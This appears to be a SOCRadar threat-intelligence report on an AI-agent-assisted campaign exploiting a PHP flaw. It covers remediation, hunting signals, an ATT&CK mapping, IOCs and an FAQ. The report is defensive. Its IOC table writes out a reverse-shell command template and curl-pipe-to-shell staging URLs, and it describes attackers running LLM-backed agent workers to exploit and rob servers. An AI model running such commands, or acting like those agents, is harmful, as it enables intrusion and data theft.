  • Threat Hunting & Persistence Investigation: Hunt for persistence indicators like /tmp/beacon.sh, /var/www/html/.p/, Dropbear on 127.0.0.1:2222, rogue auto_prepend_file directives, unfamiliar authorized_keys, upload-path webshells, and /tmp/.c<id> markers. Reimage compromised hosts when feasible.
  • Indicator Blocking & Log Searching: Search telemetry for 206.245.153[.]56, 185.65.134[.]250, and 157.180.96[.]7 (specifically port 8088 and ports 41000–49153) and block them across all controls.
  • Credential Revocation & Secret Rotation: Revoke and rotate all accessible secrets (cloud keys, role sessions, DB credentials, app secrets, OAuth/JWT tokens, SSH keys, PHP sessions) and audit cloud logs back to October 21, 2026.
  • Attack Surface Reduction & Hardening: Audit custom PHP, Nextcloud, and Git setups. Restrict unauthenticated MCP servers, exposed .git directories, open Firebase rules, and user-search endpoints. Disable display_errors in production and alert on execution of gitleaks, trufflehog, or linPEAS.
  • Access Control & Key Management: Use ephemeral SSH keys and continuously monitor web-server authorized_keys files.

Detection and Hunting

  • Exploit traffic: Multipart POSTs within a few bytes of post_max_size with more than 1,000 fields and one part holding an extreme number of 5-byte header lines; HTTP 500 with X-Powered-By: PHP; a second POST on the same keep-alive connection; Set-Cookie: PHPSESSID of about 4,096 or exactly 16 bytes. On Nextcloud, POSTs to /status.php, /cron.php and /public.php
  • Logistics traffic: Plain HTTP to 206.245.153[.]56:8088 fetching /tools/(collect|deep-loot|persist2).sh or /tools/(php-loot|j240_aws).php, POSTs to /<digits>/<name>.tgz answered with 201, and port-80 GETs of /j<job>.sh piped to sh
  • Host activity: Web-server children spawning sh, curl or bash -i; reverse shells to ports 41000–49153; new authorized_keys entries; Dropbear bound to loopback; UPLOAD=201 in logs; collector bundles (meta.tsv, 13-secret-hits) in /tmp
  • Cloud activity: Web-app roles or keys calling STS, S3, Secrets Manager, SSM or RDS enumeration from non-VPC IPs; metadata-endpoint requests from web processes

MITRE ATT&CK Mapping

Tactic Technique Procedure
Reconnaissance T1595.002 Vulnerability Scanning PHP/Apache fingerprinting; eligibility matrix for direct, proxied, WAF and patched targets
Resource Development T1587.001 Malware Exploit fork, collector, persistence kits, C2 manager and maq agent queue
Resource Development T1588.002 Tool Public PHP2Shell PoCs, gitleaks, trufflehog, linPEAS, LSE, pspy, Dropbear, Dirty COW
Resource Development T1583.003 Virtual Private Server Fedora VPS C2 and a separate Hetzner lab/jump host
Initial Access T1190 Exploit Public-Facing Application CVE-2026-109618 against Apache mod_php; MCP, .git and Firebase exposures in separate jobs
Execution T1059.004 Unix Shell Reverse shells, curl | sh and collector scripts
Persistence T1505.003 Web Shell Token-protected PHP hooks and webshells
Persistence T1098.004 SSH Authorized Keys Per-job and shared c2-agents ed25519 keys
Persistence T1053.003 Cron Cron-driven beacons and webshell callbacks
Persistence T1543.002 Systemd Service Systemd-managed root beacons and a second attacker-controlled sshd
Privilege Escalation T1548.003 Abuse Elevation Control: Sudo Job 1036 (non-PHP2Shell path): unauthenticated MCP to fbo Bash, elevating via sudo NOPASSWD python3 to root, adding root authorized_keys and a 2-min cron (recorded in C2 note).
Defense Evasion T1027 Obfuscated Files or Information Reverse-shell commands split across echo/printf fragments
Defense Evasion T1140 Deobfuscate/Decode Files or Information Base64 staging of beacons and payloads
Defense Evasion T1078.004 Cloud Accounts Harvested cloud keys and role sessions used for follow-on enumeration
Credential Access T1552.001 Credentials In Files Secrets in configs, .env files and git history
Credential Access T1552.004 Private Keys SSH and certificate private keys collected
Credential Access T1552.005 Cloud Instance Metadata API ECS/IMDS role credential theft
Credential Access T1555.001 Keychain macOS keychain files from an education estate
Credential Access T1555.003 Credentials from Web Browsers Chrome Login Data stores
Credential Access T1539 Steal Web Session Cookie PHP, Symfony and Laravel session files
Credential Access T1110.001 Password Guessing WordPress XML-RPC guessing and credential-reuse attempts
Discovery T1082 System Information Discovery Collector host, OS and platform inventory
Discovery T1083 File and Directory Discovery Candidate file and web root enumeration
Discovery T1016 System Network Configuration Discovery Collector network inventory
Discovery T1049 System Network Connections Discovery /proc/net/tcp socket listing with owner uid
Discovery T1057 Process Discovery Collector process inventory
Discovery T1033 System Owner/User Discovery id, user and group collection
Discovery T1087 Account Discovery Local users and cloud-account enumeration
Collection T1005 Data from Local System Configs, sessions, uploads, database exports and git history
Collection T1074.001 Local Data Staging Fixed-layout bundles staged in /tmp
Collection T1560.001 Archive via Utility tar/gzip archives before upload
Collection T1114 Email Collection Mailbox exports and Nextcloud mail-account collection
Command and Control T1071.001 Web Protocols HTTP tool and loot service on port 8088
Command and Control T1571 Non-Standard Port Reverse shells on 41000+ high ports
Command and Control T1572 Protocol Tunneling Dropbear reverse tunnel
Command and Control T1105 Ingress Tool Transfer Tool downloads from ports 8088 and 80
Exfiltration T1041 Exfiltration Over C2 Channel Raw tarball POSTs to the C2
Exfiltration T1020 Automated Exfiltration Automated upload chained from the collector and watcher

Indicators of Compromise (IOCs)

For the extended IOC list, visit the SOCRadar platform.

Type Indicator Note
IP 206.245.153[.]56 C2, reverse-shell destination, tool host and loot receiver
IP 185.65.134[.]250 Operator exploit / SSH source in 70 jobs (October 29–30, 2026)
IP 157.180.96[.]7 Operator AI lab and direct HTTP/SSH source (Hetzner)
Hostname fedora-42.servers[.]guru Operator host identity in an SSH key comment
IP:Port 157.180.96[.]7:18941 Operator lab rehearsal service
IP:Port 157.180.96[.]7:18082 AI-lab open directory (second exposure, found 2026-11-08)
IP:Port 206.245.153[.]56:8088 Tool server and loot receiver
IP:Port 206.245.153[.]56:8091 Operator home-directory listing
IP:Port 206.245.153[.]56:80 Per-job payload host (/j<job>.sh)
IP:Port 206.245.153[.]56:41252, 41265, 41270, 41535, 41583, 41596, 42131, 42145, 42154, 42190, 42225, 42397, 42435, 42440, 49153 Reverse-shell listeners seen in operator notes
IP:Port 206.245.153[.]56:42104, 42422, 42425, 42428, 45454 Reverse-shell listeners and auxiliary probe (previously reported)
IP:Port 206.245.153[.]56:43402, 43485, 42366, 42292 Dropbear reverse tunnels, j434 reverse shell, Nextcloud Beacon C2 socket
URL pattern hxxp://206.245.153[.]56:8088/<job>/<name>.tgz Loot upload (201 Created)
URL pattern hxxp://206.245.153[.]56:8088/tools/{collect.sh, deep-loot.sh, persist2.sh, php-loot.php, j240_aws.php, j370_beacon.tgz} Tool distribution
URL pattern hxxp://206.245.153[.]56:8088/x280.sh Full payload
URL pattern hxxp://206.245.153[.]56/<job>.sh curl | sh staging on port 80
S3 endpoint hxxps://s3.buckets[.]ninja Operator MinIO storage
EVM wallet 0x58da42285568A591680c08176b31880410bC097e Operator crypto-swiper vault / withdrawal beneficiary (empty, nonce 0)
SSH key SHA256:df46SXwY+KNwXge2LFHQ5u4RMsZ/McNgbcVVeEuA5vg c2-agents (reused across C2 and victim persistence)
SSH key SHA256:In7vhvAWa9Em6DaUnun9gPQNhi8DwmkFcJ8qdWLYWok c2-w<n>-<victim-ip>-<port>-<job>
SSH key SHA256:1L0YR2N+audSIVlLH9+VTlfH/1Upt+tfHkVKCGq66tg j<job>-<victim-ip>
SSH key SHA256:dtWAgMHYjIx9+wwazYjvFwy9JtkIkurghJkTE+xXqGs j468-tunnel
SSH key SHA256:HeHMVLT6LXy2NV2TC3bUTl+y6aZ1p9Tq+Ma5plktSFk j434 key
SHA-256 d01948e930848dd139915f646760e6dba61caf3eec222d5479518c19b5076ad2 exploit_default.py
SHA-256 48df6ff05731bf735cb1914905191d01fcab59ffec5b002f73e235b2c021a267 exploit_default_flen64.py
SHA-256 484e92ae0ceaa888459d2ad5260274923c58d8e8db5a5ff244cf7f9f90f3a1da tools/collect.sh
SHA-256 84f161021452e58ce65dec9fee14dd77f4968fe54d284c4059c373388a31f594 tools/deep-loot.sh
SHA-256 7befbc027e31c32437d82f70096cd9edd96ec98e88c6b3139e7fe640d02fec41 j468/keep.sh (operator home copy)
SHA-256 b889846842a168773a5b6382143792acd3a2310f5802d61f48805e1d38e6575b j468/keep.sh (tool-service copy)
SHA-256 c2d898f29b4c6058ba2587fa7477bac546c838b72e48ad42e5e4fa11ab799ba9 LD_PRELOAD shim (j468 home)
SHA-256 1642c2de5949909d1470523337a0e50b844f26a1f018e6b6984a4ed815657d33 LD_PRELOAD shim (j468 tool service)
SHA-256 57617d2d8a1cd7da3614b4329929df0d2f4a26fbbd79a418ec8623e83decf14f LD_PRELOAD shim (j485)
SHA-256 93f8bcb90e608cdac0239d4218f31fb755357b056e862ce8b61df1026536d83d j370_beacon.tgz (Nextcloud Beacon app)
SHA-256 7f1bd30c173af0e793f0a9a9ec44646131e8148fcb6fe64d00c06bf751a53d7d j370_beacon.tgz (second copy)
SHA-256 4712fe539da6b81329dfe25d1b0e38a04539a68fac58bd8f6a537807b3f15cf5 tools/j364_hook.php (webshell hook)
SHA-256 88b5ed6aa763acf5d11119d4cb53d9601533ab35371a4f5cb932991b19bfdef0 tools/j240_aws.php (ECS credential helper)
SHA-256 abaf7a73520ec77853d83ca1cd946a650291457b6303147cd6622fca5b8be39e x280.sh
SHA-256 452776d0507e33e71982b0f2d7f928b1f2d60f852195b1d9aac6a5d71c019060 tools/php-loot.php
SHA-256 c66a3a56f75ef8d9ce79c3cf012ad77c166be10e4d0264a56ed96e67e15b27c1 recon.sh
SHA-256 839f516d17cb0ebfdfa002f195299077198ec334f248b8084a954444ce3fbfdb j434_campaign.py
SHA-256 3ae6c2d36edf2db4845db9f18e1ae865de4e784c9c807e6d89033bef21e284c5 j434.sh
SHA-256 ad06f3a8fd168659a72cea4ee1b105575f38c485e741776b1b097f6a79e43eae tools/j373c.sh
SHA-256 6d10e9923374c2e11b6528a34f23356e3cb4aa5d2f11db35a35193550d0d2be3 j474-watch.sh (end-to-end playbook)
SHA-256 c56e18a28fd7a3bf59891df955f6f03b009b85ed00c5ff8539b545250c004924 tools/cf.c (Copy Fail C port, variant 1)
SHA-256 d8d17dcc97bbcb9c40219fa157a77c50be1d4c0c80cbd57a8b3eda0fcc42d9a1 tools/cf.c (Copy Fail C port, variant 2)
SHA-256 d2a6102d7f94a44e9aa517e3b9c3656d790b31b74c399c78cd3a0305f987f968 tools/j396_dirtyc0w (public Dirty COW binary)
Path /tmp/beacon.sh, /tmp/.c<job>, /tmp/j434.info Beacon loop, job marker, triage output
Path /var/www/html/.p/, 127.0.0.1:2222 Dropbear staging directory and loopback listener
Path ws/cron.php, .j313b.sh, .b1367.php, doc/thumb-<hex>.php?k=<token> Webshell / persistence filenames
String x7Q9m2 Laravel route-cache backdoor token
String bash -i >&/dev/tcp/206.245.153[.]56/<port> 0>&1 Reverse-shell template
String UPLOAD=201 Collector success line beside the 8088 URL
String maq-migration-157.180.96[.]7, root@debian-12, root@fedora-42.servers[.]guru Key and host-key comments
Artifact omp … worker.patched.ts –auto-approve –thinking high, maq-router.service, deepseek-v41-local AI-agent worker and routing artifacts

Frequently Asked Questions

How Did AI Agents Exploit PHP2Shell in This Campaign?

Eligible targets were queued into a self-built job orchestrator (maq) that dispatched 39 parallel omp workers backed by two self-hosted DeepSeek V4.1 endpoints. The workers verified target stacks, triggered memory leaks, calculated per-build offsets, created C2 records and ran exfiltration. The evidence points to a human-directed operation augmented by AI; end-to-end autonomous operation was not confirmed.

How Many Systems Were Compromised?

Across both exposed directories, the operator attacked 595 unique IPs in 57 countries, and 404 hosts are confirmed compromised. Interactive shells were documented on 217 hosts and only 12 reached root; most access ran as the unprivileged www-data user inside containers.

Was Any Cryptocurrency Stolen?

No theft was confirmed. Payouts, including a 456,900 USDC dev-account withdrawal, remained pending, 7.3 BTC in encrypted wallets stayed uncracked, and the operator’s vault (0x58da…097e) is empty. The only completed impact on this track was the exfiltration of about 3.3 million user records from an unauthenticated Redis instance.

Which Indicators Should Defenders Block?

Block and search telemetry for 206.245.153[.]56 (C2, tool host and loot receiver), 157.180.96[.]7 (the operator’s AI lab) and 185.65.134[.]250 (exploit and SSH source), with particular attention to port 8088 and reverse-shell ports 41000-49153. The full list is in the IOC section below.

How Can I Tell Whether My Server Was Compromised?

Check for /tmp/beacon.sh and /tmp/.c<id> markers, a /var/www/html/.p/ directory, a Dropbear listener on 127.0.0.1:2222, rogue auto_prepend_file directives, unfamiliar authorized_keys entries, PHP webshells such as doc/thumb-<hex>.php, and outbound connections to 206.245.153[.]56:8088.

Is Patching PHP Enough?

Upgrading to PHP 8.2.35, 8.3.36, 8.4.27, or 8.5.12 closes the entry point. A host compromised before the update still holds the operator’s webshells, SSH keys, cron beacons, and Dropbear tunnels, and stolen cloud keys and application secrets stay valid until they are rotated. Reimage compromised hosts where feasible, rotate every exposed secret, and audit cloud logs back to October 21, 2026.

Who Is Behind the Campaign?

No known threat group has been linked to the activity. SOCRadar assesses with moderate confidence that a financially motivated operator working in the initial-access-broker pattern ran it; confidence in the operator’s identity is low.

no known threat group linked activity

Source: SOCRadar · 2026-11-18